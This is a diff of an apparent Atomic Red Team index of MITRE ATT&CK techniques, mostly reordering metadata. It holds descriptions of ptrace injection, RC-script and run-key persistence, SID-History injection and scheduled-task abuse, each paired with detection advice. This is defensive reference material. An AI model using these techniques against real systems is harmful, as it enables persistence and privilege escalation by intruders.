+      - Application control
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
       description: "Adversaries may inject malicious code into processes via ptrace
         (process trace) system calls in order to evade process-based defenses as well
         as possibly elevate privileges. Ptrace system call injection is a method of
@@ -17694,27 +18027,16 @@ privilege-escalation:
         which copy data to a specific address in the target processes’ memory (ex:
         the current address of the next instruction). (Citation: PTRACE man)(Citation:
         Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
-        targeting processes with high-privileges, and on some system those that are
-        non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context
-        of another process may allow access to the process's memory, system/network
-        resources, and possibly elevated privileges. Execution via ptrace system call
-        injection may also evade detection from security products since the execution
-        is masked under a legitimate process. "
-      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
-      type: attack-pattern
+        targeting processes that are non-child processes and/or have higher-privileges.(Citation:
+        BH Linux Inject) \n\nRunning code in the context of another process may allow
+        access to the process's memory, system/network resources, and possibly elevated
+        privileges. Execution via ptrace system call injection may also evade detection
+        from security products since the execution is masked under a legitimate process. "
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:24:56.734Z'
-      created: '2020-01-14T01:33:19.065Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
         call should not generate large amounts of data due to their specialized nature,
         and can be a very effective method to detect some of the common process injection
@@ -17723,13 +18045,60 @@ privilege-escalation:
         behavior to determine if a process is performing actions it usually does not,
         such as opening network connections, reading files, or other suspicious actions
         that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/008
+        external_id: T1055.008
+        source_name: mitre-attack
+      - url: http://man7.org/linux/man-pages/man2/ptrace.2.html
+        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
+          Manual. Retrieved February 21, 2020.
+        source_name: PTRACE man
+      - url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
+        description: Jain, S. (2018, July 25). Code injection in running process using
+          ptrace. Retrieved February 21, 2020.
+        source_name: Medium Ptrace JUL 2018
+      - url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
+        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
+          21, 2020.
+        source_name: BH Linux Inject
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
     atomic_tests: []
   T1037.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: RC Scripts
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T19:58:01.927Z'
+      created: '2020-01-15T16:25:22.260Z'
+      x_mitre_permissions_required:
+      - root
+      x_mitre_platforms:
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
       description: |-
         Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
@@ -17739,68 +18108,50 @@ privilege-escalation:
         Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
 
         Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
-      name: RC Scripts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.004
-        url: https://attack.mitre.org/techniques/T1037/004
-      - source_name: IranThreats Kittens Dec 2017
-        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
-        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
-          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
-      - description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
-          Linux Systems. Retrieved June 24, 2019.
-        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
-        source_name: Intezer HiddenWasp Map 2019
-      - source_name: intezer-kaiji-malware
-        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
-        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
-          turning to Golang. Retrieved December 17, 2020.'
-      - source_name: Apple Developer Doco Archive Launchd
-        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (2016, September 13). Daemons and Services Programming
-          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
-        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
-          2017.
-        source_name: Startup Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - source_name: Ubuntu Manpage systemd rc
-        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
-        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
-          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
-          boot and shutdown. Retrieved February 23, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-27T19:58:01.927Z'
-      created: '2020-01-15T16:25:22.260Z'
-      x_mitre_platforms:
-      - macOS
-      - Linux
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
         directory. Monitor process execution resulting from RC scripts for unusual
         or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
         file creation. Although types of RC scripts vary for each Unix-like distribution,
         several execute <code>/etc/rc.local</code> if present. "
-      x_mitre_permissions_required:
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/004
+        external_id: T1037.004
+        source_name: mitre-attack
+      - url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
+        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
+          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
+        source_name: IranThreats Kittens Dec 2017
+      - source_name: Intezer HiddenWasp Map 2019
+        description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
+          Linux Systems. Retrieved June 24, 2019.
+        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
+      - url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
+        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
+          turning to Golang. Retrieved December 17, 2020.'
+        source_name: intezer-kaiji-malware
+      - url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+        description: Apple. (2016, September 13). Daemons and Services Programming
+          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
+        source_name: Apple Developer Doco Archive Launchd
+      - source_name: Startup Items
+        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
+          2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
+        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
+          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
+          boot and shutdown. Retrieved February 23, 2021.
+        source_name: Ubuntu Manpage systemd rc
       identifier: T1037.004
     atomic_tests:
     - name: rc.common
@@ -17862,14 +18213,19 @@ privilege-escalation:
 '
   T1547.007:
     technique:
-      created: '2020-01-24T18:15:06.641Z'
-      modified: '2020-01-24T19:51:37.795Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
+      modified: '2020-01-24T19:51:37.795Z'
+      name: Re-opened Applications
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T18:15:06.641Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
       description: "Adversaries may modify plist files to automatically run an application
         when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain
@@ -17881,30 +18237,25 @@ privilege-escalation:
         \n\nAn adversary can modify one of these files directly to include a link
         to their malicious executable to provide a persistence mechanism each time
         the user reboots their machine (Citation: Methods of Mac Malware Persistence)."
-      name: Re-opened Applications
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.007
-        url: https://attack.mitre.org/techniques/T1547/007
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: Monitoring the specific plist files associated with reopening
         applications can indicate when an application has registered itself to be
         reopened.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/007
+        external_id: T1547.007
+        source_name: mitre-attack
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1547.007
     atomic_tests:
     - name: Re-Opened Applications
@@ -17949,6 +18300,28 @@ privilege-escalation:
         name: sh
   T1547.001:
     technique:
+      type: attack-pattern
+      modified: '2021-01-06T18:36:29.226Z'
+      name: Registry Run Keys / Startup Folder
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      created: '2020-01-23T22:02:48.566Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
       description: |-
         Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
@@ -17990,68 +18363,46 @@ privilege-escalation:
         By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
 
         Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
-      name: Registry Run Keys / Startup Folder
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.001
-        url: https://attack.mitre.org/techniques/T1547/001
-      - external_id: CAPEC-270
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/270.html
-      - url: http://msdn.microsoft.com/en-us/library/aa376977
-        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
-          12, 2014.
-        source_name: Microsoft Run Key
-      - source_name: Microsoft Wow6432Node 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
-        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
-          in the Registry. Retrieved August 3, 2020.
-      - source_name: Malwarebytes Wow6432Node 2016
-        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
-        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
-          August 3, 2020.
-      - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
-        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
-          Key. Retrieved June 29, 2018.
-        source_name: Microsoft RunOnceEx APR 2018
-      - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
-        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
-          from Autoruns.exe. Retrieved June 29, 2018.
-        source_name: Oddvar Moe RunOnceEx Mar 2018
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-01-06T18:36:29.226Z'
-      created: '2020-01-23T22:02:48.566Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Oddvar Moe, @oddvarmoe
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
       x_mitre_detection: |-
         Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
 
         Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/001
+        external_id: T1547.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/270.html
+        external_id: CAPEC-270
+        source_name: capec
+      - source_name: Microsoft Run Key
+        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
+          12, 2014.
+        url: http://msdn.microsoft.com/en-us/library/aa376977
+      - url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
+        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
+          in the Registry. Retrieved August 3, 2020.
+        source_name: Microsoft Wow6432Node 2018
+      - url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
+        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
+          August 3, 2020.
+        source_name: Malwarebytes Wow6432Node 2016
+      - source_name: Microsoft RunOnceEx APR 2018
+        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
+          Key. Retrieved June 29, 2018.
+        url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
+      - source_name: Oddvar Moe RunOnceEx Mar 2018
+        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
+          from Autoruns.exe. Retrieved June 29, 2018.
+        url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.001
     atomic_tests:
     - name: Reg Key Run
@@ -18240,74 +18591,82 @@ privilege-escalation:
         name: powershell
   T1134.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.005
-        url: https://attack.mitre.org/techniques/T1134/005
-      - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
-        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
-          2017.
-        source_name: Microsoft SID
-      - url: https://msdn.microsoft.com/library/ms679833.aspx
-        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
-          Retrieved November 30, 2017.
-        source_name: Microsoft SID-History Attribute
-      - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
-        description: Microsoft. (2017, June 23). Well-known security identifiers in
-          Windows operating systems. Retrieved November 30, 2017.
-        source_name: Microsoft Well Known SIDs Jun 2017
-      - url: https://technet.microsoft.com/library/ee617241.aspx
-        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
-          November 30, 2017.
-        source_name: Microsoft Get-ADUser
-      - url: https://adsecurity.org/?p=1772
-        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
-          #14: SID History. Retrieved November 30, 2017.'
-        source_name: AdSecurity SID History Sept 2015
-      - url: https://msdn.microsoft.com/library/ms677982.aspx
-        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
-          30, 2017.
-        source_name: Microsoft DsAddSidHistory
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: SID-History Injection
-      description: |-
-        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
-
-        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
-      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
       type: attack-pattern
+      name: SID-History Injection
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'User Account: User Account Metadata'
+      - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:49:58.414Z'
+      created: '2020-02-18T18:34:49.414Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:49:58.414Z'
-      created: '2020-02-18T18:34:49.414Z'
-      x_mitre_contributors:
-      - Alain Homewood, Insomnia Security
-      - Vincent Le Toux
-      x_mitre_version: '1.0'
+      id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
       - SYSTEM
+      description: |-
+        Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
+
+        With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
+      x_mitre_contributors:
+      - Alain Homewood, Insomnia Security
+      - Vincent Le Toux
       x_mitre_detection: |-
         Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)
 
         Monitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'User Account: User Account Metadata'
-      - 'Active Directory: Active Directory Object Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/005
+        external_id: T1134.005
+        source_name: mitre-attack
+      - source_name: Microsoft SID
+        description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx
+      - source_name: Microsoft SID-History Attribute
+        description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute.
+          Retrieved November 30, 2017.
+        url: https://msdn.microsoft.com/library/ms679833.aspx
+      - source_name: Microsoft Well Known SIDs Jun 2017
+        description: Microsoft. (2017, June 23). Well-known security identifiers in
+          Windows operating systems. Retrieved November 30, 2017.
+        url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems
+      - source_name: Microsoft Get-ADUser
+        description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved
+          November 30, 2017.
+        url: https://technet.microsoft.com/library/ee617241.aspx
+      - source_name: AdSecurity SID History Sept 2015
+        description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence
+          #14: SID History. Retrieved November 30, 2017.'
+        url: https://adsecurity.org/?p=1772
+      - source_name: Microsoft DsAddSidHistory
+        description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November
+          30, 2017.
+        url: https://msdn.microsoft.com/library/ms677982.aspx
     atomic_tests: []
   T1053.005:
     technique:
-      created: '2019-11-27T14:58:00.429Z'
+      type: attack-pattern
       modified: '2020-12-30T14:26:44.730Z'
+      name: Scheduled Task
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      created: '2019-11-27T14:58:00.429Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -18315,47 +18674,21 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.005
-        url: https://attack.mitre.org/techniques/T1053/005
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Scheduled Task
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
       description: |-
         Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
 
         The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.
 
         An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
-      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -18371,13 +18704,31 @@ privilege-escalation:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
